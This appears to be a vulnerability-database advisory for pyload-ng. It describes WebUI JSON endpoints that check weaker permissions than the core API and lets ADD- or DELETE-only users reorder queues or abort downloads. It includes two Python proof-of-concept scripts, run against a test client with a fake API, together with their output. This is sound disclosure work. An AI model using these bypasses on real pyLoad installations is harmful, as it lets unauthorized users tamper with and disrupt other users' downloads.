PYSEC-2026-2997

Vulnerability from pysec - Published: 2026-07-13 14:36 - Updated: 2026-07-13 16:05
VLAI
Details

Summary

Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.

Confirmed mismatches: - ADD user can reorder packages/files (order_package, order_file) via /json/package_order and /json/link_order - DELETE user can abort downloads (stop_downloads) via /json/abort_link

Details

pyLoad defines granular permissions in core API: - order_package requires Perms.MODIFY (src/pyload/core/api/__init__.py:1125) - order_file requires Perms.MODIFY (src/pyload/core/api/__init__.py:1137) - stop_downloads requires Perms.MODIFY (src/pyload/core/api/__init__.py:1046)

But WebUI JSON routes use weaker checks: - /json/package_order uses @login_required("ADD") then calls api.order_package(...) (src/pyload/webui/app/blueprints/json_blueprint.py:109-117) - /json/link_order uses @login_required("ADD") then calls api.order_file(...) (src/pyload/webui/app/blueprints/json_blueprint.py:137-145) - /json/abort_link uses @login_required("DELETE") then calls api.stop_downloads(...) (src/pyload/webui/app/blueprints/json_blueprint.py:123-131)

Why this is likely unintended (not just convenience): - The same JSON blueprint correctly protects other edit actions with MODIFY: - /json/move_package -> @login_required("MODIFY") (json_blueprint.py:188-196) - /json/edit_package -> @login_required("MODIFY") (json_blueprint.py:202-217) - The project UI exposes granular per-user permission assignment (settings.html:184-190), implying these boundaries are intended security controls.

PoC

Environment: - Repository version: 0.5.0b3 (VERSION file) - Commit tested: ddc53b3d7

PoC A (ADD-only user invokes MODIFY-only reorder):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'attacker'

    def order_package(self, pack_id, pos):
        self.calls.append(('order_package', int(pack_id), int(pos)))

    def order_file(self, file_id, pos):
        self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'attacker'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.ADD)

    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})

print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]

PoC B (DELETE-only user invokes MODIFY-only stop_downloads):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'u'

    def stop_downloads(self, ids):
        self.calls.append(('stop_downloads', ids))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'u'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.DELETE)

    r = c.post('/json/abort_link', json={'link_id': 999})

print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]

Impact

Type: - Improper authorization / permission-bypass between WebUI and core API permission model.

Scope: - Horizontal privilege escalation among authenticated non-admin users. - Not admin takeover, but unauthorized execution of operations explicitly categorized as MODIFY.

Security impact: - Integrity impact: unauthorized queue/file reordering by users lacking MODIFY. - Availability impact: unauthorized abort of active downloads by users lacking MODIFY.

Impacted products
Name purl
pyload-ng pkg:pypi/pyload-ng

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng",
        "purl": "pkg:pypi/pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.5.0a5.dev528",
        "0.5.0a5.dev532",
        "0.5.0a5.dev535",
        "0.5.0a5.dev536",
        "0.5.0a5.dev537",
        "0.5.0a5.dev539",
        "0.5.0a5.dev540",
        "0.5.0a5.dev545",
        "0.5.0a5.dev562",
        "0.5.0a5.dev564",
        "0.5.0a5.dev565",
        "0.5.0a6.dev570",
        "0.5.0a6.dev578",
        "0.5.0a6.dev587",
        "0.5.0a7.dev596",
        "0.5.0a8.dev602",
        "0.5.0a9.dev615",
        "0.5.0a9.dev629",
        "0.5.0a9.dev632",
        "0.5.0a9.dev641",
        "0.5.0a9.dev643",
        "0.5.0a9.dev655",
        "0.5.0a9.dev806",
        "0.5.0b1.dev1",
        "0.5.0b1.dev2",
        "0.5.0b1.dev3",
        "0.5.0b1.dev4",
        "0.5.0b1.dev5",
        "0.5.0b2.dev10",
        "0.5.0b2.dev11",
        "0.5.0b2.dev12",
        "0.5.0b2.dev9",
        "0.5.0b3.dev100",
        "0.5.0b3.dev101",
        "0.5.0b3.dev13",
        "0.5.0b3.dev14",
        "0.5.0b3.dev17",
        "0.5.0b3.dev18",
        "0.5.0b3.dev19",
        "0.5.0b3.dev20",
        "0.5.0b3.dev21",
        "0.5.0b3.dev22",
        "0.5.0b3.dev24",
        "0.5.0b3.dev26",
        "0.5.0b3.dev27",
        "0.5.0b3.dev28",
        "0.5.0b3.dev29",
        "0.5.0b3.dev30",
        "0.5.0b3.dev31",
        "0.5.0b3.dev32",
        "0.5.0b3.dev33",
        "0.5.0b3.dev34",
        "0.5.0b3.dev35",
        "0.5.0b3.dev38",
        "0.5.0b3.dev39",
        "0.5.0b3.dev40",
        "0.5.0b3.dev41",
        "0.5.0b3.dev42",
        "0.5.0b3.dev43",
        "0.5.0b3.dev44",
        "0.5.0b3.dev45",
        "0.5.0b3.dev46",
        "0.5.0b3.dev47",
        "0.5.0b3.dev48",
        "0.5.0b3.dev49",
        "0.5.0b3.dev50",
        "0.5.0b3.dev51",
        "0.5.0b3.dev52",
        "0.5.0b3.dev53",
        "0.5.0b3.dev54",
        "0.5.0b3.dev57",
        "0.5.0b3.dev60",
        "0.5.0b3.dev62",
        "0.5.0b3.dev64",
        "0.5.0b3.dev65",
        "0.5.0b3.dev66",
        "0.5.0b3.dev67",
        "0.5.0b3.dev68",
        "0.5.0b3.dev69",
        "0.5.0b3.dev70",
        "0.5.0b3.dev71",
        "0.5.0b3.dev72",
        "0.5.0b3.dev73",
        "0.5.0b3.dev74",
        "0.5.0b3.dev75",
        "0.5.0b3.dev76",
        "0.5.0b3.dev77",
        "0.5.0b3.dev78",
        "0.5.0b3.dev79",
        "0.5.0b3.dev80",
        "0.5.0b3.dev81",
        "0.5.0b3.dev82",
        "0.5.0b3.dev85",
        "0.5.0b3.dev87",
        "0.5.0b3.dev88",
        "0.5.0b3.dev89",
        "0.5.0b3.dev90",
        "0.5.0b3.dev91",
        "0.5.0b3.dev92",
        "0.5.0b3.dev93",
        "0.5.0b3.dev94",
        "0.5.0b3.dev95",
        "0.5.0b3.dev96",
        "0.5.0b3.dev97",
        "0.5.0b3.dev98",
        "0.5.0b3.dev99"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40071",
    "GHSA-rfgh-63mg-8pwm"
  ],
  "details": "### Summary\nSeveral WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad\u0027s own permission model.\n\nConfirmed mismatches:\n- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`\n- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`\n\n### Details\npyLoad defines granular permissions in core API:\n- `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)\n- `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)\n- `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)\n\nBut WebUI JSON routes use weaker checks:\n- `/json/package_order` uses `@login_required(\"ADD\")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)\n- `/json/link_order` uses `@login_required(\"ADD\")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)\n- `/json/abort_link` uses `@login_required(\"DELETE\")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)\n\nWhy this is likely unintended (not just convenience):\n- The same JSON blueprint correctly protects other edit actions with `MODIFY`:\n  - `/json/move_package` -\u003e `@login_required(\"MODIFY\")` (`json_blueprint.py:188-196`)\n  - `/json/edit_package` -\u003e `@login_required(\"MODIFY\")` (`json_blueprint.py:202-217`)\n- The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.\n\n### PoC\nEnvironment:\n- Repository version: `0.5.0b3` (`VERSION` file)\n- Commit tested: `ddc53b3d7`\n\nPoC A (ADD-only user invokes MODIFY-only reorder):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath(\u0027src\u0027))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n    def __init__(self):\n        self.calls = []\n\n    def user_exists(self, username):\n        return username == \u0027attacker\u0027\n\n    def order_package(self, pack_id, pos):\n        self.calls.append((\u0027order_package\u0027, int(pack_id), int(pos)))\n\n    def order_file(self, file_id, pos):\n        self.calls.append((\u0027order_file\u0027, int(file_id), int(pos)))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {\u0027role\u0027: Role.USER, \u0027permission\u0027: Perms.ADD}\nprint(\u0027API auth (ADD-only) order_package:\u0027, api.is_authorized(\u0027order_package\u0027, ctx))\nprint(\u0027API auth (ADD-only) order_file:\u0027, api.is_authorized(\u0027order_file\u0027, ctx))\n\napp = Flask(__name__)\napp.secret_key = \u0027k\u0027\napp.config[\u0027TESTING\u0027] = True\napp.config[\u0027WTF_CSRF_ENABLED\u0027] = False\nf = FakeApi()\napp.config[\u0027PYLOAD_API\u0027] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n    with c.session_transaction() as s:\n        s[\u0027authenticated\u0027] = True\n        s[\u0027name\u0027] = \u0027attacker\u0027\n        s[\u0027role\u0027] = int(Role.USER)\n        s[\u0027perms\u0027] = int(Perms.ADD)\n\n    r1 = c.post(\u0027/json/package_order\u0027, json={\u0027pack_id\u0027: 5, \u0027pos\u0027: 0})\n    r2 = c.post(\u0027/json/link_order\u0027, json={\u0027file_id\u0027: 77, \u0027pos\u0027: 1})\n\nprint(\u0027HTTP /json/package_order:\u0027, r1.status_code, r1.get_data(as_text=True).strip())\nprint(\u0027HTTP /json/link_order:\u0027, r2.status_code, r2.get_data(as_text=True).strip())\nprint(\u0027calls:\u0027, f.calls)\n```\n\nObserved output:\n```text\nAPI auth (ADD-only) order_package: False\nAPI auth (ADD-only) order_file: False\nHTTP /json/package_order: 200 {\"response\":\"success\"}\nHTTP /json/link_order: 200 {\"response\":\"success\"}\ncalls: [(\u0027order_package\u0027, 5, 0), (\u0027order_file\u0027, 77, 1)]\n```\n\nPoC B (DELETE-only user invokes MODIFY-only stop_downloads):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath(\u0027src\u0027))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n    def __init__(self):\n        self.calls = []\n\n    def user_exists(self, username):\n        return username == \u0027u\u0027\n\n    def stop_downloads(self, ids):\n        self.calls.append((\u0027stop_downloads\u0027, ids))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {\u0027role\u0027: Role.USER, \u0027permission\u0027: Perms.DELETE}\nprint(\u0027API auth (DELETE-only) stop_downloads:\u0027, api.is_authorized(\u0027stop_downloads\u0027, ctx))\n\napp = Flask(__name__)\napp.secret_key = \u0027k\u0027\napp.config[\u0027TESTING\u0027] = True\napp.config[\u0027WTF_CSRF_ENABLED\u0027] = False\nf = FakeApi()\napp.config[\u0027PYLOAD_API\u0027] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n    with c.session_transaction() as s:\n        s[\u0027authenticated\u0027] = True\n        s[\u0027name\u0027] = \u0027u\u0027\n        s[\u0027role\u0027] = int(Role.USER)\n        s[\u0027perms\u0027] = int(Perms.DELETE)\n\n    r = c.post(\u0027/json/abort_link\u0027, json={\u0027link_id\u0027: 999})\n\nprint(\u0027HTTP /json/abort_link:\u0027, r.status_code, r.get_data(as_text=True).strip())\nprint(\u0027calls:\u0027, f.calls)\n```\n\nObserved output:\n```text\nAPI auth (DELETE-only) stop_downloads: False\nHTTP /json/abort_link: 200 {\"response\":\"success\"}\ncalls: [(\u0027stop_downloads\u0027, [999])]\n```\n\n### Impact\nType:\n- Improper authorization / permission-bypass between WebUI and core API permission model.\n\nScope:\n- Horizontal privilege escalation among authenticated non-admin users.\n- Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.\n\nSecurity impact:\n- Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.\n- Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.",
  "id": "PYSEC-2026-2997",
  "modified": "2026-07-13T16:05:53.172845Z",
  "published": "2026-07-13T14:36:49.321859Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-rfgh-63mg-8pwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40071"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/pyload-ng"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-rfgh-63mg-8pwm"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…